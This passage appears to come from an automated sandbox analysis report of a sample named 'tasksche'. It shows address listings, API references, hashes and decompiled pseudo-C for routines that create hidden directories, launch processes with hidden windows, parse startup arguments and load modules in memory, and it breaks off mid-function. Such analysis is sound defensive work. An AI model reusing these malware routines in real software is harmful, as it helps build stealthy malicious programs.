                                                                                                                                                                0x004022bb
                                                                                                                                                                0x004022be
                                                                                                                                                                0x004022c1
                                                                                                                                                                0x004022c8
                                                                                                                                                                0x004022cb
                                                                                                                                                                0x004022d1
                                                                                                                                                                0x004022d7
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004022e8
                                                                                                                                                                0x004022eb
                                                                                                                                                                0x004022ee
                                                                                                                                                                0x004022f0
                                                                                                                                                                0x004022f5
                                                                                                                                                                0x0040230f
                                                                                                                                                                0x0040231a
                                                                                                                                                                0x00402320
                                                                                                                                                                0x00402324
                                                                                                                                                                0x0040233d
                                                                                                                                                                0x00402340
                                                                                                                                                                0x0040234a
                                                                                                                                                                0x00402350
                                                                                                                                                                0x00402356
                                                                                                                                                                0x0040235c
                                                                                                                                                                0x00402362
                                                                                                                                                                0x00402368
                                                                                                                                                                0x0040236e
                                                                                                                                                                0x00402374
                                                                                                                                                                0x00402377
                                                                                                                                                                0x00402386
                                                                                                                                                                0x00402436
                                                                                                                                                                0x00402437
                                                                                                                                                                0x00000000
                                                                                                                                                                0x0040243c
                                                                                                                                                                0x00402396
                                                                                                                                                                0x0040239a
                                                                                                                                                                0x0040239d
                                                                                                                                                                0x004023a0
                                                                                                                                                                0x004023a7
                                                                                                                                                                0x004023ba
                                                                                                                                                                0x004023bc
                                                                                                                                                                0x004023bf
                                                                                                                                                                0x004023cc
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004023d3
                                                                                                                                                                0x004023d3
                                                                                                                                                                0x004023d6
                                                                                                                                                                0x004023eb
                                                                                                                                                                0x004023ec
                                                                                                                                                                0x004023d8
                                                                                                                                                                0x004023e0
                                                                                                                                                                0x004023e6
                                                                                                                                                                0x004023e6
                                                                                                                                                                0x004023f8
                                                                                                                                                                0x00402414
                                                                                                                                                                0x00402419
                                                                                                                                                                0x0040244d
                                                                                                                                                                0x00402450
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402450
                                                                                                                                                                0x0040241e
                                                                                                                                                                0x00402448
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402448
                                                                                                                                                                0x00402420
                                                                                                                                                                0x00402421
                                                                                                                                                                0x00402424
                                                                                                                                                                0x00402429
                                                                                                                                                                0x00402441
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402441
                                                                                                                                                                0x00402430
                                                                                                                                                                0x00402430
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004023f8
                                                                                                                                                                0x00402330
                                                                                                                                                                0x00402336
                                                                                                                                                                0x00402219
                                                                                                                                                                0x00402219
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402219
                                                                                                                                                                0x00402306
                                                                                                                                                                0x00402308
                                                                                                                                                                0x0040230d
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x0040230d
                                                                                                                                                                0x0040226c
                                                                                                                                                                0x0040226f
                                                                                                                                                                0x0040226f
                                                                                                                                                                0x00402272
                                                                                                                                                                0x00402276
                                                                                                                                                                0x0040227c
                                                                                                                                                                0x00402278
                                                                                                                                                                0x00402278
                                                                                                                                                                0x00402278
                                                                                                                                                                0x00402281
                                                                                                                                                                0x00402283
                                                                                                                                                                0x00402283
                                                                                                                                                                0x00402286
                                                                                                                                                                0x00402289
                                                                                                                                                                0x00402289
                                                                                                                                                                0x00000000
                                                                                                                                                                0x0040226f
                                                                                                                                                                0x0040224a
                                                                                                                                                                0x00402214
                                                                                                                                                                0x00402219
                                                                                                                                                                0x00000000

                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00402457: SetLastError.KERNEL32(0000000D,00402200,?!@,00000040,?,0000DDB6,?,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402463
                                                                                                                                                                • SetLastError.KERNEL32(000000C1,?,0000DDB6,?,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402219
                                                                                                                                                                • GetModuleHandleA.KERNEL32(kernel32.dll,?,0000DDB6,?,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402291
                                                                                                                                                                • GetProcessHeap.KERNEL32(00000008,0000003C,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3,004021B2), ref: 00402313
                                                                                                                                                                • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3,004021B2,00000000), ref: 0040231A
                                                                                                                                                                • memcpy.MSVCRT(00000000,?,8328EC83,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3), ref: 004023A7
                                                                                                                                                                  • Part of subcall function 00402470: memset.MSVCRT ref: 004024D5
                                                                                                                                                                • SetLastError.KERNEL32(0000045A), ref: 00402430
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ErrorLast$Heap$AllocHandleModuleProcessmemcpymemset
                                                                                                                                                                • String ID: ?!@$GetNativeSystemInfo$kernel32.dll
                                                                                                                                                                • API String ID: 1900561814-3657104962
                                                                                                                                                                • Opcode ID: 0e24c0e50799aa35dd9f5fcc36a4565fcb8133d83dc7aa1daf15d2422d00f892
                                                                                                                                                                • Instruction ID: 3b750285519b5b92c664dbe57bf04ddc7e4262fbacbc213f0015b22f99412f1c
                                                                                                                                                                • Opcode Fuzzy Hash: 0e24c0e50799aa35dd9f5fcc36a4565fcb8133d83dc7aa1daf15d2422d00f892
                                                                                                                                                                • Instruction Fuzzy Hash: 0A81AD71A01602AFDB209FA5CE49AAB77E4BF08314F10443EF945E76D1D7B8E851CB98
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00401AF6 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 91%
                                                                                                                                                                			E00401AF6(WCHAR* _a4, WCHAR* _a8, wchar_t* _a12) {
				void* _t15;
				WCHAR* _t17;

				CreateDirectoryW(_a4, 0);
				if(SetCurrentDirectoryW(_a4) == 0) {
					L2:
					return 0;
				}
				_t17 = _a8;
				CreateDirectoryW(_t17, 0);
				if(SetCurrentDirectoryW(_t17) != 0) {
					SetFileAttributesW(_t17, GetFileAttributesW(_t17) | 0x00000006);
					if(_a12 != 0) {
						_push(_t17);
						swprintf(_a12, L"%s\\%s", _a4);
					}
					_t15 = 1;
					return _t15;
				}
				goto L2;
			}





                                                                                                                                                                0x00401b07
                                                                                                                                                                0x00401b16
                                                                                                                                                                0x00401b27
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00401b27
                                                                                                                                                                0x00401b18
                                                                                                                                                                0x00401b1e
                                                                                                                                                                0x00401b25
                                                                                                                                                                0x00401b36
                                                                                                                                                                0x00401b40
                                                                                                                                                                0x00401b42
                                                                                                                                                                0x00401b4e
                                                                                                                                                                0x00401b54
                                                                                                                                                                0x00401b59
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00401b59
                                                                                                                                                                0x00000000

                                                                                                                                                                APIs
                                                                                                                                                                • CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B07
                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00401B12
                                                                                                                                                                • CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B1E
                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00401B21
                                                                                                                                                                • GetFileAttributesW.KERNEL32(?), ref: 00401B2C
                                                                                                                                                                • SetFileAttributesW.KERNEL32(?,00000000), ref: 00401B36
                                                                                                                                                                • swprintf.MSVCRT(?,%s\%s,?,?), ref: 00401B4E
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Directory$AttributesCreateCurrentFile$swprintf
                                                                                                                                                                • String ID: %s\%s
                                                                                                                                                                • API String ID: 1036847564-4073750446
                                                                                                                                                                • Opcode ID: e8d223ccc4edc92c4536f1ca202ba6161fd040db7272db682552e70b0b18d917
                                                                                                                                                                • Instruction ID: 4a0a9b6f0974b2b783bf1fd4f993800d593798a72c4fd06372b86497b3864b36
                                                                                                                                                                • Opcode Fuzzy Hash: e8d223ccc4edc92c4536f1ca202ba6161fd040db7272db682552e70b0b18d917
                                                                                                                                                                • Instruction Fuzzy Hash: 99F06271200208BBEB103F65DE44F9B3B2CEB457A5F015832FA46B61A1DB75A855CAB8
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00401064 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63processsynchronizationCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 81%
                                                                                                                                                                			E00401064(CHAR* _a4, long _a8, DWORD* _a12) {
				struct _PROCESS_INFORMATION _v20;
				struct _STARTUPINFOA _v88;
				signed int _t32;
				intOrPtr _t37;

				_t32 = 0x10;
				_v88.cb = 0x44;
				memset( &(_v88.lpReserved), 0, _t32 << 2);
				_v20.hProcess = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t37 = 1;
				_v88.wShowWindow = 0;
				_v88.dwFlags = _t37;
				if(CreateProcessA(0, _a4, 0, 0, 0, 0x8000000, 0, 0,  &_v88,  &_v20) == 0) {
					return 0;
				}
				if(_a8 != 0) {
					if(WaitForSingleObject(_v20.hProcess, _a8) != 0) {
						TerminateProcess(_v20.hProcess, 0xffffffff);
					}
					if(_a12 != 0) {
						GetExitCodeProcess(_v20.hProcess, _a12);
					}
				}
				CloseHandle(_v20);
				CloseHandle(_v20.hThread);
				return _t37;
			}







                                                                                                                                                                0x00401070
                                                                                                                                                                0x00401074
                                                                                                                                                                0x0040107d
                                                                                                                                                                0x00401082
                                                                                                                                                                0x00401085
                                                                                                                                                                0x00401086
                                                                                                                                                                0x00401087
                                                                                                                                                                0x0040108d
                                                                                                                                                                0x0040108e
                                                                                                                                                                0x004010a1
                                                                                                                                                                0x004010b0
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004010f7
                                                                                                                                                                0x004010b5
                                                                                                                                                                0x004010c5
                                                                                                                                                                0x004010cc
                                                                                                                                                                0x004010cc
                                                                                                                                                                0x004010d5
                                                                                                                                                                0x004010dd
                                                                                                                                                                0x004010dd
                                                                                                                                                                0x004010d5
                                                                                                                                                                0x004010ec
                                                                                                                                                                0x004010f1
                                                                                                                                                                0x00000000

                                                                                                                                                                APIs
                                                                                                                                                                • CreateProcessA.KERNEL32 ref: 004010A8
                                                                                                                                                                • WaitForSingleObject.KERNEL32(?,?), ref: 004010BD
                                                                                                                                                                • TerminateProcess.KERNEL32(?,000000FF), ref: 004010CC
                                                                                                                                                                • GetExitCodeProcess.KERNEL32 ref: 004010DD
                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 004010EC
                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 004010F1
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Process$CloseHandle$CodeCreateExitObjectSingleTerminateWait
                                                                                                                                                                • String ID: D
                                                                                                                                                                • API String ID: 786732093-2746444292
                                                                                                                                                                • Opcode ID: 520ef4afec62fe4405832db260c3c6b21caa087d375fb1c1d919acb3a27097cb
                                                                                                                                                                • Instruction ID: fabf2a0aaa91e867d54492d1ca24e81fc8ed090543e33b3e61fa812da4358066
                                                                                                                                                                • Opcode Fuzzy Hash: 520ef4afec62fe4405832db260c3c6b21caa087d375fb1c1d919acb3a27097cb
                                                                                                                                                                • Instruction Fuzzy Hash: 8D116431900229ABDB218F9ADD04ADFBF79FF04720F008426F514B65A0DB708A18DAA8
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 004077BA Relevance: 12.1, APIs: 8, Instructions: 77COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 81%
                                                                                                                                                                			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				intOrPtr* _t23;
				intOrPtr* _t24;
				void* _t27;
				void _t29;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40d488);
				_push(0x4076f4);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x40f94c =  *0x40f94c | 0xffffffff;
				 *0x40f950 =  *0x40f950 | 0xffffffff;
				_t23 = __p__fmode();
				_t46 =  *0x40f948; // 0x0
				 *_t23 = _t46;
				_t24 = __p__commode();
				_t47 =  *0x40f944; // 0x0
				 *_t24 = _t47;
				 *0x40f954 = _adjust_fdiv;
				_t27 = E0040793F( *_adjust_fdiv);
				_t61 =  *0x40f870; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E0040793C);
				}
				E0040792A(_t27);
				_push(0x40e00c);
				_push(0x40e008);
				L00407924();
				_t29 =  *0x40f940; // 0x0
				_v112 = _t29;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x40f93c,  &_v112);
				_push(0x40e004);
				_push(0x40e000);
				L00407924();
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while(1) {
						__eflags =  *_t55 - 0x20;
						if(__eflags <= 0) {
							goto L7;
						}
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				L7:
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				_t69 = _v96.dwFlags & 0x00000001;
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_t40 = L00401FE7(_t69, GetModuleHandleA(0), 0, _t55, _t38);
				_v108 = _t40;
				exit(_t40);
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L0040791E();
				return _t41;
			}





























                                                                                                                                                                0x004077bd
                                                                                                                                                                0x004077bf
                                                                                                                                                                0x004077c4
                                                                                                                                                                0x004077cf
                                                                                                                                                                0x004077d0
                                                                                                                                                                0x004077dd
                                                                                                                                                                0x004077e2
                                                                                                                                                                0x004077e7
                                                                                                                                                                0x004077ee
                                                                                                                                                                0x004077f5
                                                                                                                                                                0x004077fc
                                                                                                                                                                0x00407802
                                                                                                                                                                0x00407808
                                                                                                                                                                0x0040780a
                                                                                                                                                                0x00407810
                                                                                                                                                                0x00407816
                                                                                                                                                                0x0040781f
                                                                                                                                                                0x00407824
                                                                                                                                                                0x00407829
                                                                                                                                                                0x0040782f
                                                                                                                                                                0x00407836
                                                                                                                                                                0x0040783c
                                                                                                                                                                0x0040783d
                                                                                                                                                                0x00407842
                                                                                                                                                                0x00407847
                                                                                                                                                                0x0040784c
                                                                                                                                                                0x00407851
                                                                                                                                                                0x00407856
                                                                                                                                                                0x0040786f
                                                                                                                                                                0x00407875
                                                                                                                                                                0x0040787a
                                                                                                                                                                0x0040787f
                                                                                                                                                                0x0040788c
                                                                                                                                                                0x0040788e
                                                                                                                                                                0x00407894
                                                                                                                                                                0x004078d0
                                                                                                                                                                0x004078d0
                                                                                                                                                                0x004078d3
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004078d5
                                                                                                                                                                0x004078d6
                                                                                                                                                                0x004078d6
                                                                                                                                                                0x00407896
                                                                                                                                                                0x00407896
                                                                                                                                                                0x00407896
                                                                                                                                                                0x00407897
                                                                                                                                                                0x0040789a
                                                                                                                                                                0x0040789c
                                                                                                                                                                0x004078a7
                                                                                                                                                                0x004078a9
                                                                                                                                                                0x004078a9
                                                                                                                                                                0x004078aa
                                                                                                                                                                0x004078aa
                                                                                                                                                                0x004078a7
                                                                                                                                                                0x004078ad
                                                                                                                                                                0x004078ad
                                                                                                                                                                0x004078b1
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004078b7
                                                                                                                                                                0x004078be
                                                                                                                                                                0x004078c4
                                                                                                                                                                0x004078c8
                                                                                                                                                                0x004078dd
                                                                                                                                                                0x004078ca
                                                                                                                                                                0x004078ca
                                                                                                                                                                0x004078ca
                                                                                                                                                                0x004078e9
                                                                                                                                                                0x004078ee
                                                                                                                                                                0x004078f2
                                                                                                                                                                0x004078f8
                                                                                                                                                                0x004078fd
                                                                                                                                                                0x004078ff
                                                                                                                                                                0x00407902
                                                                                                                                                                0x00407903
                                                                                                                                                                0x00407904
                                                                                                                                                                0x0040790b

                                                                                                                                                                APIs
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _initterm$__getmainargs__p__commode__p__fmode__set_app_type
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3626615345-0
                                                                                                                                                                • Opcode ID: bfbd7971593811c7fff28e35bb39fa0d644f96314b868f8e424e213b276a966c
                                                                                                                                                                • Instruction ID: 63d29f1c4e41429a3497612c8de1f509d91e94429ea3a2aefb8dc74a018e4fb3
                                                                                                                                                                • Opcode Fuzzy Hash: bfbd7971593811c7fff28e35bb39fa0d644f96314b868f8e424e213b276a966c
                                                                                                                                                                • Instruction Fuzzy Hash: 51318BB1D04344AFDB20AFA5DE49F5A7BA8BB05710F10463EF541B72E0CB786805CB59
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00407831 Relevance: 12.1, APIs: 8, Instructions: 72COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 84%
                                                                                                                                                                			E00407831(CHAR* __ebx) {
				void* _t19;
				void _t21;
				intOrPtr _t28;
				signed int _t30;
				int _t32;
				intOrPtr* _t33;
				intOrPtr _t34;
				CHAR* _t35;
				intOrPtr _t38;
				intOrPtr* _t41;
				void* _t42;

				_t35 = __ebx;
				__setusermatherr(E0040793C);
				E0040792A(_t19);
				_push(0x40e00c);
				_push(0x40e008);
				L00407924();
				_t21 =  *0x40f940; // 0x0
				 *(_t42 - 0x6c) = _t21;
				__getmainargs(_t42 - 0x60, _t42 - 0x70, _t42 - 0x64,  *0x40f93c, _t42 - 0x6c);
				_push(0x40e004);
				_push(0x40e000);
				L00407924();
				_t41 =  *_acmdln;
				 *((intOrPtr*)(_t42 - 0x74)) = _t41;
				if( *_t41 != 0x22) {
					while(1) {
						__eflags =  *_t41 - 0x20;
						if(__eflags <= 0) {
							goto L6;
						}
						_t41 = _t41 + 1;
						 *((intOrPtr*)(_t42 - 0x74)) = _t41;
					}
				} else {
					do {
						_t41 = _t41 + 1;
						 *((intOrPtr*)(_t42 - 0x74)) = _t41;
						_t34 =  *_t41;
					} while (_t34 != _t35 && _t34 != 0x22);
					if( *_t41 == 0x22) {
						L5:
						_t41 = _t41 + 1;
						 *((intOrPtr*)(_t42 - 0x74)) = _t41;
					}
				}
				L6:
				_t28 =  *_t41;
				if(_t28 != _t35 && _t28 <= 0x20) {
					goto L5;
				}
				 *(_t42 - 0x30) = _t35;
				GetStartupInfoA(_t42 - 0x5c);
				_t52 =  *(_t42 - 0x30) & 0x00000001;
				if(( *(_t42 - 0x30) & 0x00000001) == 0) {
					_t30 = 0xa;
				} else {
					_t30 =  *(_t42 - 0x2c) & 0x0000ffff;
				}
				_t32 = L00401FE7(_t52, GetModuleHandleA(_t35), _t35, _t41, _t30);
				 *(_t42 - 0x68) = _t32;
				exit(_t32);
				_t33 =  *((intOrPtr*)(_t42 - 0x14));
				_t38 =  *((intOrPtr*)( *_t33));
				 *((intOrPtr*)(_t42 - 0x78)) = _t38;
				_push(_t33);
				_push(_t38);
				L0040791E();
				return _t33;
			}














                                                                                                                                                                0x00407831
                                                                                                                                                                0x00407836
                                                                                                                                                                0x0040783d
                                                                                                                                                                0x00407842
                                                                                                                                                                0x00407847
                                                                                                                                                                0x0040784c
                                                                                                                                                                0x00407851
                                                                                                                                                                0x00407856
                                                                                                                                                                0x0040786f
                                                                                                                                                                0x00407875
                                                                                                                                                                0x0040787a
                                                                                                                                                                0x0040787f
                                                                                                                                                                0x0040788c
                                                                                                                                                                0x0040788e
                                                                                                                                                                0x00407894
                                                                                                                                                                0x004078d0
                                                                                                                                                                0x004078d0
                                                                                                                                                                0x004078d3
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004078d5
                                                                                                                                                                0x004078d6
                                                                                                                                                                0x004078d6
                                                                                                                                                                0x00407896
                                                                                                                                                                0x00407896
                                                                                                                                                                0x00407896
                                                                                                                                                                0x00407897
                                                                                                                                                                0x0040789a
                                                                                                                                                                0x0040789c
                                                                                                                                                                0x004078a7
                                                                                                                                                                0x004078a9
                                                                                                                                                                0x004078a9
                                                                                                                                                                0x004078aa
                                                                                                                                                                0x004078aa
                                                                                                                                                                0x004078a7
                                                                                                                                                                0x004078ad
                                                                                                                                                                0x004078ad
                                                                                                                                                                0x004078b1
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004078b7
                                                                                                                                                                0x004078be
                                                                                                                                                                0x004078c4
                                                                                                                                                                0x004078c8
                                                                                                                                                                0x004078dd
                                                                                                                                                                0x004078ca
                                                                                                                                                                0x004078ca
                                                                                                                                                                0x004078ca
                                                                                                                                                                0x004078e9
                                                                                                                                                                0x004078ee
                                                                                                                                                                0x004078f2
                                                                                                                                                                0x004078f8
                                                                                                                                                                0x004078fd
                                                                                                                                                                0x004078ff
                                                                                                                                                                0x00407902
                                                                                                                                                                0x00407903
                                                                                                                                                                0x00407904
                                                                                                                                                                0x0040790b

                                                                                                                                                                APIs
                                                                                                                                                                • __setusermatherr.MSVCRT ref: 00407836
                                                                                                                                                                  • Part of subcall function 0040792A: _controlfp.MSVCRT ref: 00407934
                                                                                                                                                                • _initterm.MSVCRT ref: 0040784C
                                                                                                                                                                • __getmainargs.MSVCRT ref: 0040786F
                                                                                                                                                                • _initterm.MSVCRT ref: 0040787F
                                                                                                                                                                • GetStartupInfoA.KERNEL32 ref: 004078BE
                                                                                                                                                                • GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 004078E2
                                                                                                                                                                • exit.MSVCRT ref: 004078F2
                                                                                                                                                                • _XcptFilter.MSVCRT ref: 00407904
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__setusermatherr_controlfpexit
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2141228402-0
                                                                                                                                                                • Opcode ID: e2abdc3946810ebb19c889ba728617f0f692a6676515e3c370649a79fa0f1872
                                                                                                                                                                • Instruction ID: 738ed170af38765147f9c33b7b7214e7a7d60aeb9597ff7827fffae83538cc25
                                                                                                                                                                • Opcode Fuzzy Hash: e2abdc3946810ebb19c889ba728617f0f692a6676515e3c370649a79fa0f1872
                                                                                                                                                                • Instruction Fuzzy Hash: F52135B2C04258AEEB20AFA5DD48AAD7BB8AF05304F24443FF581B7291D7786841CB59
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 004027DF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 121COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 96%
                                                                                                                                                                			E004027DF(signed int* _a4) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr* _t50;
				intOrPtr _t53;
				intOrPtr _t55;
				void* _t58;
				void _t60;
				signed int _t63;
				signed int _t67;
				intOrPtr _t68;
				void* _t73;
				signed int _t75;
				intOrPtr _t87;
				intOrPtr* _t88;
				intOrPtr* _t90;
				void* _t91;

				_t90 = _a4;
				_t2 = _t90 + 4; // 0x4be8563c
				_t87 =  *_t2;
				_t50 =  *_t90 + 0x80;
				_t75 = 1;
				_v16 = _t87;
				_v12 = _t75;
				if( *((intOrPtr*)(_t50 + 4)) != 0) {
					_t73 =  *_t50 + _t87;
					if(IsBadReadPtr(_t73, 0x14) != 0) {
						L25:
						return _v12;
					}
					while(1) {
						_t53 =  *((intOrPtr*)(_t73 + 0xc));
						if(_t53 == 0) {
							goto L25;
						}
						_t8 = _t90 + 0x30; // 0xc085d0ff
						_t55 =  *((intOrPtr*)(_t90 + 0x24))(_t53 + _t87,  *_t8);
						_v8 = _t55;
						if(_t55 == 0) {
							SetLastError(0x7e);
							L23:
							_v12 = _v12 & 0x00000000;
							goto L25;
						}
						_t11 = _t90 + 0xc; // 0x317459c0
						_t14 = _t90 + 8; // 0x85000001
						_t58 = realloc( *_t14, 4 +  *_t11 * 4);
						if(_t58 == 0) {
							_t40 = _t90 + 0x30; // 0xc085d0ff
							 *((intOrPtr*)(_t90 + 0x2c))(_v8,  *_t40);
							SetLastError(0xe);
							goto L23;
						}
						_t15 = _t90 + 0xc; // 0x317459c0
